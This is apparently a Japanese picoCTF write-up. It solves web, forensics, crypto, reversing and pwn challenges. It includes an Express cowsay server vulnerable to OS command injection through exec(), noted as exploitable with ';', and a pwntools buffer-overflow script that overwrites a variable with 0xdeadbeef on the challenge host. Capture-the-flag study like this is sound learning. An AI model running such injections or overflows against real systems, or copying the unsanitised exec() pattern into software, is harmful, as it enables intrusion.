Writer:b1uef0x / Webページ建造途中
開催期間中に150点問題まで、その後200点問題まで解いたのでまとめておく。
UsernameとPasswordを入力してログインさせる問題に見えるが、SQLインジェクションは関係ない。JavaScriptでUsernameとPasswordを照合している。
index.js
(async()=>{
await new Promise((e=>window.addEventListener("load",e))),document.querySelector("form").addEventListener("submit",(e=>{
e.preventDefault();const r={u:"input[name=username]",p:"input[name=password]"},t={};
for(const e in r)t[e]=btoa(document.querySelector(r[e]).value).replace(/=/g,"");
return"YWRtaW4"!==t.u?alert("Incorrect Username"):"cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ"!==t.p?alert("Incorrect Password"):void alert(`Correct Password! Your flag is ${atob(t.p)}.`)
}))
})();
base64エンコードされたUsernameとPasswordはそれぞれadmin
とpicoCTF{53rv3r_53rv3r_53rv3r_53rv3r_53rv3r}
になる。
advanced-potion-makingファイルが配布される。これはヘッダ部分が改竄されたPNGファイルとなっているため、以下の部分を左から右に修正する。
出てくるPNGファイルは真っ赤になっているが、青空白猫(うさみみハリケーン)でステガノグラフィ解析を行って赤色 ビット0抽出などをすればflagが手に入る。
換字式暗号問題。public.zipが配布され、中身は暗号化スクリプト(encrypt.py)、暗号化されたflag(flag.txt)、暗号化された辞書データ(study-guide.txt)。
encrypt.py
import random
import os
files = [
os.path.join(path, file)
for path, dirs, files in os.walk('.')
for file in files
if file.split('.')[-1] == 'txt'
]
alphabet = list('abcdefghijklmnopqrstuvwxyz')
random.shuffle(shuffled := alphabet[:])
dictionary = dict(zip(alphabet, shuffled))
for filename in files:
text = open(filename, 'r').read()
encrypted = ''.join([
dictionary[c]
if c in dictionary else c
for c in text
])
open(filename, 'w').write(encrypted)
アルファベットをシャッフルして置き換えており、暗号化されたflagはbrcfxba_vfr_mid_hosbrm_iprc_exa_hoav_vwcrm
になっている。
大量の単語を同様に暗号化した辞書データが配布されているので、頻度解析で解くことができる。Substitution cipher decoder( https://planetcalc.com/8047/ )に辞書データを適当にコピーペーストして、暗号化されたflagを加えて解読させる。
小一時間でperhaps_the_dog_jumped_over_was_just_tired
に解読されるので、picoCTF{}の中に入れればflagになる。
Web問題。メッセージ{message}をhttps://caas.mars.picoctf.net/cowsay/{message}
としてアクセスすると牛のAAが喋る。
index.js
const express = require('express');
const app = express();
const { exec } = require('child_process');
app.use(express.static('public'));
app.get('/cowsay/:message', (req, res) => {
exec(`/usr/games/cowsay ${req.params.message}`, (error, stdout) => {
if (error) return res.status(500).end();
res.type('txt').send(stdout).end();
});
});
app.listen(3000, () => {
console.log('listening');
});
サーバー側のコードが配布されるので確認すると、OSコマンドを実行して、cowsayプログラムに{message}を引数として与えていることがわかる。よってOSコマンドインジェクションを使用する。
実行されるOSコマンドを;で切って任意のコマンドを実行できる。
falg.txtの存在がわかったので表示させる。
暗号化スクリプト(encrypt.py)と暗号化されたflag(output.txt)が配布される。
encrypt.py
#!/usr/bin/env python3
from random import randint
with open('flag.txt', 'rb') as f:
flag = f.read()
with open('secret-key.txt', 'rb') as f:
key = f.read()
def encrypt(ptxt, key):
ctxt = b''
for i in range(len(ptxt)):
a = ptxt[i]
b = key[i % len(key)]
ctxt += bytes([a ^ b])
return ctxt
ctxt = encrypt(flag, key)
random_strs = [
b'my encryption method',
b'is absolutely impenetrable',
b'and you will never',
b'ever',
b'ever',
b'ever',
b'ever',
b'ever',
b'ever',
b'break it'
]
for random_str in random_strs:
for i in range(randint(0, pow(2, 8))):
for j in range(randint(0, pow(2, 6))):
for k in range(randint(0, pow(2, 4))):
for l in range(randint(0, pow(2, 2))):
for m in range(randint(0, pow(2, 0))):
ctxt = encrypt(ctxt, random_str)
with open('output.txt', 'w') as f:
f.write(ctxt.hex())
output.txt
57657535570c1e1c612b3468106a18492140662d2f5967442a2960684d28017931617b1f3637
ecnrypt.pyはflagをkeyでXOR演算するもので、暗号化は2段階で行われている。1段階目はsecret-keyで暗号化し、2段階目はrandom_strsで定義される文字列群で暗号化する。2段階目の暗号化処理は入れ子構造のforループをランダムな回数回しているが、XOR演算は2回実行すると元のデータに戻ることから、forを何回繰り返してもXOR演算0回又は1回になる。さらにrandom_strsには同じkeyが6個含まれており、これらも0回又は1回の演算にまとめることができる。
よってrandom_strsの5個のkeyが0~1回ずつXORされた結果を出力することになるため、組み合わせは2^5=32通りになる。flagの先頭はpicoCTF{
であることから、暗号文にrandom_strsの5個のkeyを0~1回XOR演算した32通りのパターンに対してpicoCTF{
をXOR演算すれば、32個のsecret-keyの候補が得られる。
これを行うプログラムを以下のように作成した。
key_crack.py
#!/usr/bin/env python3
from random import randint
from Crypto.Util.number import bytes_to_long, long_to_bytes
ctxt = long_to_bytes(0x57657535570c1e1c612b3468106a18492140662d2f5967442a2960684d28017931617b1f3637);
def encrypt(ptxt, key):
ctxt = b''
for i in range(len(ptxt)):
a = ptxt[i]
b = key[i % len(key)]
ctxt += bytes([a ^ b])
return ctxt
def encrypt_t(ptxt, key):
ctxt = b''
for i in range(len(key)):
a = ptxt[i]
b = key[i % len(key)]
ctxt += bytes([a ^ b])
return ctxt
random_strs = [
b'my encryption method',
b'is absolutely impenetrable',
b'and you will never',
b'ever',
b'break it'
]
for i in range(2):
ctxt = encrypt(ctxt, random_strs[0]);
for j in range(2):
ctxt = encrypt(ctxt, random_strs[1]);
for k in range(2):
ctxt = encrypt(ctxt, random_strs[2]);
for l in range(2):
ctxt = encrypt(ctxt, random_strs[3]);
for m in range(2):
ctxt = encrypt(ctxt, random_strs[4]);
print('%s %s %s %s %s %s' % (i,j,k,l,m,encrypt_t(ctxt, b'picoCTF{')));
意味のある文字列を探すとsecret-keyがAfrica!
であることがわかり、対応するrandom_strsの適用有無もわかったので、暗号化を解除するdecrypt.pyを作成した。
decrypt.py
#!/usr/bin/env python3
from random import randint
from Crypto.Util.number import bytes_to_long, long_to_bytes
ctxt = long_to_bytes(0x57657535570c1e1c612b3468106a18492140662d2f5967442a2960684d28017931617b1f3637);
key = b'Africa!';
def encrypt(ptxt, key):
ctxt = b''
for i in range(len(ptxt)):
a = ptxt[i]
b = key[i % len(key)]
ctxt += bytes([a ^ b])
return ctxt
random_strs = [
b'my encryption method',
b'is absolutely impenetrable',
b'and you will never',
b'ever',
b'break it'
]
ctxt = encrypt(ctxt, random_strs[2]);
ctxt = encrypt(ctxt, random_strs[3]);
ctxt = encrypt(ctxt, random_strs[4]);
flag = encrypt(ctxt, key);
print(flag);
結果はpicoCTF{w41t_s0_1_d1dnt_1nv3nt_x0r???}
RSA暗号問題。暗号化スクリプト(encrypt.py)と暗号出力(public-key.txt)が配布される。
encrypt.py
#!/usr/bin/env python3
from Crypto.Util.number import getPrime, bytes_to_long
with open('flag.txt', 'rb') as f:
flag = f.read()
p = getPrime(1024)
q = getPrime(1024)
r = getPrime(1024)
n1 = p * q
n2 = p * r
n3 = q * r
moduli = [n1, n2, n3]
e = 65537
c = bytes_to_long(flag)
for n in moduli:
c = pow(c, e, n)
with open('public-key.txt', 'w') as f:
f.write(f'n1: {n1}\n')
f.write(f'n2: {n2}\n')
f.write(f'n3: {n3}\n')
f.write(f'e: {e}\n')
f.write(f'c: {c}\n')
public-key.txt
n1: 15192492059814175574941055248891268822162533520576381643453916855435310880285336743521199057138647926712835561752909538944229702432795423884081992987060760867003375755338557996965825324749221386675061886921763747311599846248565297387814717840084998677273427776535730840343260681623323972936404815862969684384733188827100528542007213405382537935243645704237369770300643318878176739181891072725262069278646319502747718264711249767568106460533935904219027313131270918072460753061248221785076571054217566164086518459844527639082962818865640864990672033657423448004651989761933295878220596871163544315057550871764431562609
n2: 15896482259608901559307142941940447232781986632502572991096358742354276347180855512281737388865155342941898447990281534875563129451327818848218781669275420292448483501384399236235069545630630803245125324540747189305877026874280373084005881976783826855683894679886076284892158862128016644725623200756074647449586448311069649515124968073653962156220351541159266665209363921681260367806445996085898841723209546021525012849575330252109081102034217511126192041193752164593519033112893785698509908066978411804133407757110693612926897693360335062446358344787945536573595254027237186626524339635916646549827668224103778645691
n3: 16866741024290909515057727275216398505732182398866918550484373905882517578053919415558082579015872872951000794941027637288054371559194213756955947899010737036612882434425333227722062177363502202508368233645194979635011153509966453453939567651558628538264913958577698775210185802686516291658717434986786180150155217870273053289491069438118831268852205061142773994943387097417127660301519478434586738321776681183207796708047183864564628638795241493797850819727510884955449295504241048877759144706319821139891894102191791380663609673212846473456961724455481378829090944739778647230176360232323776623751623188480059886131
e: 65537
c: 5527557130549486626868355638343164556636640645975070563878791684872084568660950949839392805902757480207470630636669246237037694811318758082850684387745430679902248681495009593699928689084754915870981630249821819243308794164014262751330197659053593094226287631278905866187610594268602850237495796773397013150811502709453828013939726304717253858072813654392558403246468440154864433527550991691477685788311857169847773031859714215539719699781912119479668386111728900692806809163838659848295346731226661208367992168348253106720454566346143578242135426677554444162371330348888185625323879290902076363791018691228620744490
RSA暗号を3回実行しているが、使用する公開鍵3つは3つの秘密鍵を2つずつ使用した作ったものだから、お互いに秘密鍵の約数を持っている。よって公開鍵同士からユークリッドの互除法を使って最大公約数を求めると秘密鍵を手に入れることができる。
solve.py
import gmpy2
import math
from Crypto.Util.number import bytes_to_long, long_to_bytes
n1 = 15192492059814175574941055248891268822162533520576381643453916855435310880285336743521199057138647926712835561752909538944229702432795423884081992987060760867003375755338557996965825324749221386675061886921763747311599846248565297387814717840084998677273427776535730840343260681623323972936404815862969684384733188827100528542007213405382537935243645704237369770300643318878176739181891072725262069278646319502747718264711249767568106460533935904219027313131270918072460753061248221785076571054217566164086518459844527639082962818865640864990672033657423448004651989761933295878220596871163544315057550871764431562609
n2 = 15896482259608901559307142941940447232781986632502572991096358742354276347180855512281737388865155342941898447990281534875563129451327818848218781669275420292448483501384399236235069545630630803245125324540747189305877026874280373084005881976783826855683894679886076284892158862128016644725623200756074647449586448311069649515124968073653962156220351541159266665209363921681260367806445996085898841723209546021525012849575330252109081102034217511126192041193752164593519033112893785698509908066978411804133407757110693612926897693360335062446358344787945536573595254027237186626524339635916646549827668224103778645691
n3 = 16866741024290909515057727275216398505732182398866918550484373905882517578053919415558082579015872872951000794941027637288054371559194213756955947899010737036612882434425333227722062177363502202508368233645194979635011153509966453453939567651558628538264913958577698775210185802686516291658717434986786180150155217870273053289491069438118831268852205061142773994943387097417127660301519478434586738321776681183207796708047183864564628638795241493797850819727510884955449295504241048877759144706319821139891894102191791380663609673212846473456961724455481378829090944739778647230176360232323776623751623188480059886131
e = 65537
c = 5527557130549486626868355638343164556636640645975070563878791684872084568660950949839392805902757480207470630636669246237037694811318758082850684387745430679902248681495009593699928689084754915870981630249821819243308794164014262751330197659053593094226287631278905866187610594268602850237495796773397013150811502709453828013939726304717253858072813654392558403246468440154864433527550991691477685788311857169847773031859714215539719699781912119479668386111728900692806809163838659848295346731226661208367992168348253106720454566346143578242135426677554444162371330348888185625323879290902076363791018691228620744490
p = math.gcd(n1,n2)
r = math.gcd(n2,n3)
q = math.gcd(n3,n1)
print("p=%s" % p)
print("q=%s" % q)
print("r=%s" % r)
def lcm(p, q):
return (p * q) // math.gcd(p, q)
def _etension_euclid(x,y):
c0, c1 = x, y
a0, a1 = 1, 0
b0, b1 = 0, 1
while c1 != 0:
mm = c0 % c1
qq = c0 // c1
c0, c1 = c1, mm
a0, a1 = a1, (a0 - qq * a1)
b0, b1 = b1, (b0 - qq * b1)
return c0, a0, b0
def decrypt(p,q,e,c):
n = p*q
l = lcm(p - 1, q - 1)
_c, a, _b = _etension_euclid(e, l)
d = a % l
return pow(c,d,n)
c1 = decrypt(q,r,e,c)
c2 = decrypt(p,r,e,c1)
txt= decrypt(p,q,e,c2)
print("flag:%s" % long_to_bytes(txt))
実行するとflagが得られる。
p=119660120407416342093521198875970200503652030026184999838840951544471188235057764512149622436334754517070092115889922087976143409261665862157884453930404483415351610238154321433871054239568905273137919725917526056473901359312949883646592913381637999260828599289383860301717085920912559762712295164989106012643
q=126963703597214242111055793388455179890379067770512076858587717197146928847759121114335398860091528260297687323794942479532566444647858389461128295471609299505781851499310733099158304584543771415239918097328230929655601250453281393102266829307661217314893414986784482323832179578849867366834284687012845412763
r=132846951895793538897077555403967847542050766700952197146228251113081712319440889155149846202888542648969351063239105740434095718011829001684551658508591803707420131965877374781379009502046474415909376904718002094203010990824838428607725944298259738507797326637681632441750845743202171364832477389321609195337
flag:b'picoCTF{1_gu3ss_tr1pl3_rs4_1snt_tr1pl3_s3cur3!!!!!!}'
単純なBOF問題。chall.cとchallが配布され、サーバー上で動作している。
chall.c
#include <stdio.h>
#include <stdlib.h>
#define SIZE 0x100
#define GOAL 0xdeadbeef
const char* HEADER =
" ______________________________________________________________________\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \\^ ^ |\n"
"|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \\ ^ _ ^ / | | \\^ ^|\n"
"| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | // | /_\\ ^| | ____ ____ | | ^ |\n"
"|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|\n"
"| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n"
"|^ ^ ^ ^ ^| / ( \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \\|^ ^|\n"
".-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |\n"
"| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\\ |^ ^|\n"
"| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n"
"|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|== =====\n"
"|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" \n"
"\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"";
int main(void)
{
long code = 0;
char clutter[SIZE];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts(HEADER);
puts("My room is so cluttered...");
puts("What do you see?");
gets(clutter);
if (code == GOAL) {
printf("code == 0x%llx: how did that happen??\n", GOAL);
puts("take a flag for your troubles");
system("cat flag.txt");
} else {
printf("code == 0x%llx\n", code);
printf("code != 0x%llx :(\n", GOAL);
}
return 0;
}
getsでユーザー入力が1024byteのサイズを持つclutter変数に入るので、これをオーバーフローさせてcode変数の中身を0xdeadbeefに書き換える。適当に長い文字列を入力していけばそのうち書き換わるので、書き換わった部分を目的の値にする。
solve.py
from pwn import *
code = b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde"
io = remote('mars.picoctf.net',31890)
output = io.recvuntil("What do you see?")
io.sendline(code)
io.interactive()
実行ファイルnot-cryptoが配布される。そのまま実行してもI heard you wanted to bargain for a flag... whatcha got?
で入力状態になって停止する。
IDA freeで処理の流れを表示させると、処理を止めているのはcall _fread
の部分になる。
_freadを過ぎて更に進めるとYep, that's it!
又はNope, come back later
に分岐して終了する。この直前まで進めてみる。
gdb-pedaを起動して、freadの部分にbreakpointを張る。さらに最後の分岐直前にbreakpointを張る。
not-ctyptoのdisassembly結果の抜粋
1177: 00 00
1179: 48 8b 08 mov rcx,QWORD PTR [rax]
117c: e8 bf fe ff ff call 1040 <fread@plt>
1181: 0f b6 84 24 b0 00 00 movzx eax,BYTE PTR [rsp+0xb0]
1188: 00
13be: 41 89 c4 mov r12d,eax
13c1: 85 c0 test eax,eax
13c3: 0f 85 d6 06 00 00 jne 1a9f <memcmp@plt+0xa3f>
13c9: 48 8d 3d 87 0c 00 00 lea rdi,[rip+0xc87] # 2057 <memcmp@plt+0xff7>
13d0: e8 5b fc ff ff call 1030 <puts@plt>
上記の117cと13c1にbreakpointを張った。ただしgdbでデバッグされる際には基準アドレスが変化することに注意。
runで117cまで来たところでfreadを回避するために1181にjumpさせて13c1で停止。そこでスタックの中身を表示させてみる。
picoCTF{c0mp1l3r_0pt1m1z4t10n_15_pur3_w1z4rdry_but_n0_pr0bl3m?}
flagを暗号化して送信するsend.pyとその通信をキャプチャしたcapture.pcapngが配布される。
send.py
#!/usr/bin/env python3
import argparse
from progress.bar import IncrementalBar
from scapy.all import *
import ipaddress
import random
from time import time
def check_ip(ip):
try:
return ipaddress.ip_address(ip)
except:
raise argparse.ArgumentTypeError(f'{ip} is an invalid address')
def check_port(port):
try:
port = int(port)
if port < 1 or port > 65535:
raise ValueError
return port
except:
raise argparse.ArgumentTypeError(f'{port} is an invalid port')
def main(args):
with open(args.input, 'rb') as f:
payload = bytearray(f.read())
random.seed(int(time()))
random.shuffle(payload)
with IncrementalBar('Sending', max=len(payload)) as bar:
for b in payload:
send(
IP(dst=str(args.destination)) /
UDP(sport=random.randrange(65536), dport=args.port) /
Raw(load=bytes([b^random.randrange(256)])),
verbose=False)
bar.next()
if __name__=='__main__':
parser = argparse.ArgumentParser()
parser.add_argument('destination', help='destination IP address', type=check_ip)
parser.add_argument('port', help='destination port number', type=check_port)
parser.add_argument('input', help='input file')
main(parser.parse_args())
send.pyを読むと、現在時刻でseedを初期化したrandom関数を使って送信データをshuffleしたのち、random.randrange(256)でXOR演算したものをrandom.randrange(65536)のportでUDP送信していることがわかる。
キャプチャデータのうち該当する通信を表示させると、データ部分に1byteずつ送信データが入っている。通信内容を適当にテキスト出力させてデータ部分を抽出するなりして送信されたデータ列を手に入れる(以下がそのデータ)。
out.txt
3b,04,79,27,76,d2,88,b9,ba,7b,fe,15,78,e5,5c,8d,ac,fa,1b,a2,48,63,04,bc,40,dc,d1,56,f3,d4,82,97,95,fa,d1,27,88,6c,df,9c,73,67,f4,93,9d,5e,72,0d,ae,9a,05,be,b0,12,6b,81,92,46,0f,92,70,23,2b,44,38,71,e3,18,fc,8d,3e,58,bd,f8,ff,72,61,f9,aa,b8,f5,f3,87,2f,5e,cc,4b,86,25,d1,95,4f,41,c2,91,93,61,10,f5,9d,96,de,1c,e3,1a,54,6d,0a,51,3b,dd,53,cf,ba,12,c9,a5,e5,5f,c9,15,b5,8c,97,90,1a,db,fe,b7,c9,e3,47,32,b5,92,63,0d,8b,37,e7,3c,1b,73,bd,87,0b,89,6b,66,dc,fa,e8,3a,9b,47,53,35,db,71,98,e4,d1,5e,b0,88,59,fd,c5,dd,87,e4,a9,02,64,01,26,25,9d,e5,37,a3,3e,74,8a,56,de,e8,52,87,8d,01,c5,80,2a,35,bd,11,e0,04,d0,8d,db,22,a9,cb,17,ad,e2,1d,48,ea,ca,c5,1b,a7,93,ff,07,82,6d,4b,74,6c,5f,d4,8b,53,32,f5,16,9a,2c,58,45,b3,61,77,0f,b0,84,54,51,27,f8,6d,f1,d9,e1,1e,2f,3c,d6,06,e6,b6,7f,8b,a7,36,03,7c,cf,2e,90,fc,47,ad,dd,d7,a2,1d,7d,0c,44,6d,b0,d3,e1,f3,f4,9b,b5,88,c9,dc,11,de,22,89,1b,f3,c5,96,60,e2,2d,6c,e2,87,51,fd,29,86,3e,c2,e9,d1,a4,05,9a,bd,09,1d,44,b4,da,73,98,0c,d3,fb,8c,33,3e,91,ed,83,4a,91,59,2f,94,78,06,fe,66,84,7b,ea,ba,cc,ef,fe,f1,5f,c3,5c,79,6f,70,dd,37,17,4d,43,20,15,1b,bc,34,39,f3,b6,3f,1c,b0,ce,47,12,b8,39,8c,05,a1,b0,ce,ce,25,0f,9c,70,ed,49,c5,ec,86,9e,56,5a,89,93,3d,0a,95,ca,4f,42,7a,34,05,be,20,2c,4e,2d,af,31,4c,7c,0f,25,d6,32,f1,f7,2e,5b,1a,49,2e,42,82,60,13,69,33,b4,90,a2,44,08,72,06,23,92,c0,e9,25,d8,45,5e,89,35,13,de,f2,ad,ae,61,0e,0a,68,cb,d2,55,a3,68,60,5f,7f,f5,a8,7e,4f,44,95,0a,6c,38,5c,1f,a7,1b,16,07,88,98,26,72,99,2d,e7,54,e2,b8,6e,d3,af,5b,2b,98,7c,8b,d6,c4,0b,06,dc,38,f0,45,cb,70,f9,61,f8,bb,27,e6,f9,0b,05,ba,ba,bf,b8,c5,03,90,88,5c,00,08,5c,d0,31,5b,50,c7,ae,a0,07,42,d1,0b,d5,fe,9c,6e,07,56,c1,13,eb,4e,ae,83,20,0c,1f,e4,4c,c1,ab,20,5c,8c,f3,97,66,af,1c,af,0b,42,e2,fd,35,fa,45,0d,86,37,e2,c6,22,4b,48,19,eb,2a,53,52,e6,41,39,d6,45,1f,1d,e3,ce,a6,31,d0,d8,ec,ea,3d,ff,7a,6b,4f,8c,72,c8,bc,f0,f9,e0,46,31,49,8e,eb,f8,28,dd,3f,90,44,71,b2,25,a3,3a,c1,f5,24,1c,0b,3b,d3,86,e8,e7,69,e7,08,03,9c,4d,ea,ee,5f,4f,32,28,33,f0,a4,c6,64,bb,cd,e0,44,4a,96,ed,f7,2d,48,3b,62,a5,54,a4,e7,b1,fd,f6,59,fc,13,80,47,8f,7b,2c,93,f6,bf,76,61,8d,71,3c,e6,fb,05,00,a7,f6,00,2c,8a,18,5a,85,9e,8f,3c,1f,be,87,f1,7d,32,f6,57,c5,d8,95,f5,96,b5,38,8a,95,7f,48,fa,26,66,8e,8e,ef,68,1e,9d,73,23,99,7c,2e,b7,4e,ca,72,ff,2a,fd,1e,6e,08,4f,63,2a,8e,7b,36,4b,64,c3,cc,74,cd,0f,7a,80,9f,dc,dd,16,56,c5,6a,d3,8c,87,8a,b9,7b,90,7d,83,c7,ed,e4,60,df,9b,80,a0,3d,cc,83,56,c2,83,f9,9a,e8,1d,10,41,1f,c8,29,cb,36,1c,28,d8,54,55,ff,04,84,15,7f,ff,35,49,e9,0e,a9,64,40,c8,73,54,9f,e0,b4,42,54,9a,df,59,49,8d,67,60,39,af,d4,ce,73,85,4f,9c,12,bf,b6,4f,99,1a,9b,3b,59,64,0e,f4,53,e6,b8,b1,3e,fd,66,21,e5,35,e6,7b,4e,81,f3,74,9c,da,9f,46,e5,e8,1d,a7,a4,7a,d3,3f,5d,a7,8d,fc,d0,13,21,47,76,c3,8c,27,a7,09,8f,e7,85,41,23,ea,b4,cb,eb,a9,4c,7b,d2,9e,4a,ee,be,6d,f0,67,bf,95,33,06,dd,d9,06,86,28,24,b2,ad,84,04,ed,61,3c,6a,05,e1,60,20,77,8a,88,f5,79,a0,c5,a9,42,c6,8b,72,bd,98,6e,f8,39,52,47,04,6b,8a,ad,07,4e,f4,8b,45,e4,4e,80,d9,5f,d6,ee,53,21,b5,bb,5d,19,94,87,01,e6,6d,ff,ef,72,51,f3,58,71,b8,86,dc,69,5e,a1,1d,80,1d,4f,20,9b,7b,99,a0,98,86,32,fa,0e,f7,b0,6d,1d,4e,93,f0,1d,8a,25,95,c8,7a,69,98,fb,3c,fa,0d,51,d6,e4,4b,52,4a,5c,06,5a,4d,7c,8a,86,c0,6f,85,df,ec,d1,6d,de,d9,4a,27,e2,66,37,d5,c1,29,2e,ac,ab,0b,39,2a,35,6c,42,ed,9c,39,01,05,40,24,3f,07,0b,bb,c6,5c,ab,6f,38,c2,58,32,e3,7f,aa,df,3b,03,c4,99,1b,5f,04,22,2b,37,ce,56,8b,14,6e,75,1d,48,23,c8,47,c8,5d,2b,7e,1b,c9,6a,aa,1f,e0,24,dd,93,83,29,4f,27,d4,0a,64,61,44,fb,f8,dc,4c,9c,42,cf,dc,6a,00,15,35,d2,b9,20,3f,75,f6,e2,26,b7,76,7c,8f,d3,66,6f,fa,12,e6,0a,56,46,9c,00,e3,f0,55,97,d4,02,45,49,5e,bc,42,15,6e,9e,70,18,fb,a8,93,c3,42,9f,2e,93,ff,ba,50,7e,2f,3b,3f,ee,81,18,ac,fc,40,62,ef,65,ea,d6,d8,36,77,7a,98,ad,a6,8f,55,cb,5c,9e,1d,cc,73,8d,55,a1,7f,d5,cc,78,5e,e3,69,3a,f2,6f,6a,7a,18,03,76,bc,6c,bd,39,7e,bf,e8,8f,22,ed,28,db,be,e7,66,68,61,b1,ac,d3,15,3b,3c,c3,1e,5d,47,04,56,f0,36,a5,c0,f6,16,fe,20,04,56,28,7c,5d,68,53,15,e6,55,bd,1d,58,bf,0f,f9,80,3d,b3,2d,3d,4c,9a,34,3e,cb,f3,38,3b,42,7d,ff,d5,57,91,ec,ee,b2,8b,27,8a,fa,e6,08,34,38,0f,30,ab,3d,f8,af,99,54,b1,de,97,8c,03,aa,43,d0,bc,76,35,3d,fa,ba,c5,03,c2,8e,8c,83,d9,4a,f0,cc,8f,1c,40,c1,cd,3e,40,f1,91,b2,3d,a2,b9,ac,ba,94,7b,d3,9a,26,f5,41,0c,22,7f,7c,71,7f,9b,f5,e3,1a,f6,06,fd,42,f3,e3,0e,e0,13,37,02,3b,44,14,29,1f,a7,cb,28,37,f2,a2,b1,5b,84,38,50,ce,68,98,02,46,ca,6c,71,05,08,7f,34,84,cb,a7,3c,62,bd,73,ea,3a,68,1e,f7,ba,73,fb,01,0f,43,7d,e3,39,d2,66,3a,82,8a,7b,ca,9f,ef,66,30,e4,ff,9e,dc,6e,0e,1d,45,b0,fb,63,d6,45,60,b9,d8,8d,f1,d8,40,29,b0,07,0f,11,2f,7a,56,7d,1d,90,c1,e9,70,e1,d9,b0,b3,ae,4a,61,89,d4,67,2f,ca,5a,93,4b,fe,10,3c,90,9f,7b,9e,e8,41,b4,78,ef,b3,95,37,94,11,5f,be,a2,db,6c,36,28,69,13,36,7c,1f,63,f9,fb,16,80,62,6d,d4,20,08,9c,8c,ba,f7,d0,61,9f,0c,ac,04,de,7c,c9,a6,55,fe,8a,ec,ab,79,30,f1,c5,55,af,3b,6c,24,d7,9f,8c,bb,75,2e,03,9e,1c,05,b5,24,b1,21,ec,18,3a,dc,e9,71,a8,c9,be,4c,7d,fa,d4,e9,73,e0,91,45,71,39,3a,57,d4,8d,8d,a2,d5,21,59,b2,7b,24,57,ab,7d,90,ee,e0,d4,fa,df,24,26,78,30,95,f9,20,ad,54,dd,d7,19,52,bf,7c,db,06,db,55,66,21,c2,91,05,48,8e,8e,e9,f9,24,ab,c1,a4,b7,50,58,1b,d6,13,6b,c5,86,d3,41,33,f8,1f,38,6c,11,1a,98,3a,bb,4b,f3,a6,f8,98,33,c9,fb,3a,b9,0f,f7,0a,18,eb,34,1f,2f,83,e0,26,2e,e9,3d,62,29,9d,5c,ff,a6,bb,3e,6b,42,48,4c,b1,cd,a3,71,83,ea,2f,e4,33,50,6a,15,f3,f1,52,c4,4c,fa,c8,5f,44,46,c3,9a,68,e8,4f,7e,17,31,c2,bd,96,7f,1d,c6,1b,8b,c8,37,8d,88,9d,aa,da,6b,ce,55,c0,e5,59,d2,e8,cb,df,ed,69,25,c5,0d,0e,77,52,76,b0,f7,f1,c9,55,25,86,40,3b,68,08,5f,da,43,fe,6c,ac,ff,ce,6a,ff,bc,f5,e4,41,30,8f,7c,34,1b,42,f7,b4,ca,28,53,fa,7e,3c,28,db,b3,90,fb,e7,90,1f,13,de,39,37,49,2a,96,fb,2a,73,40,ee,58,ce,a0,c1,9c,62,da,2c,82,ed,26,c7,76,1a,eb,43,98,ce,8f,96,3d,76,27,02,3a,5d,7c,1d,a6,c4,91,ef,a1,b1,d1,a5,b1,b4,b8,b3,6f,ae,dd,29,be,88,ea,2f,81,99,46,8f,86,0e,f2,3f,0f,c2,ed,b7,81,db,0f,48,a9,b0,7a,f2,47,7e,ab,2c,3f,38,90,17,12,d3,9f,5e,73,e6,13,40,c3,61,dc,0b,b4,0c,38,e7,94,42,41,dc,a9,f9,d9,1f,0